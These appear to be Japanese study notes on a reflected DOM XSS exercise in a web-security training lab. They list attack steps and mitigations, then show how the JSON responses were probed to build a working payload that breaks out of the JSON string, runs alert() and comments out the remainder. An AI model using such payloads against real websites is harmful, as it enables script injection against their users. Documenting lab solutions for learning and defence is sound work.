タイトル
Reflected DOM XSS
概要
ブログ検索時、検索した値がサーバから返却された値をタイトルに挿入されてスクリプトが実行される
攻撃手順
- 開発ツールで検索した文字列が挿入されている箇所を確認
- 文字列を挿入するスクリプトを確認
- 外部JSファイル内でAjaxレスポンスをDOMに挿入していることを確認
- レスポンスのJSON内のスクリプトが実行されるように検索する文字列を調査
- 攻撃文字列を作成し、スクリプトが実行されることを確認
対策
- URLパラメータをそのまま式展開せず、エスケープなど必要な処理を行う
- JSONレスポンスは自動的にダブルクォーテーションをエスケープする
メモ
- 算術演算子に-を指定する理由は、+はURLエンコードに使用されるため
レスポンスのJSONから攻撃文字列を考察する手順
/search-results?search=test
{
"results": [
{
"id": 2,
"title": "The Hearing Test",
"image": "blog/posts/22.jpg",
"summary": "A couple of months ago my flatmate went to have his hearing tested. We all thought he was just ignoring us, but as it turned out he was struggling to keep up with the conversations and decided better to be..."
}
],
"searchTerm": "test"
}
/search-results?search=test"-alert()
{
"results": [],
"searchTerm": "test\"-alert()"
}
/search-results?search=test\"-alert()
{
"results": [],
"searchTerm": "test\\"-alert()"}
JSONではダブルクォーテーションがエスケープされる。シンプルにダブルクォーテーションとして扱いたいため、自動的に\でエスケープされているのをエスケープで無効にする。その結果\\"となる。
このレスポンスの問題点は、最後の"}がコメントアウトされた状態にあるJSON形式と認識されていないこと
/search-results?search=test\"-alert()}//
{
"results": [],
"searchTerm": "test\\"-alert()
}//"}
文字列を"で終了させてからalertを実行する。次に}を手動で付与してから自動的に付与される"}をコメントアウトする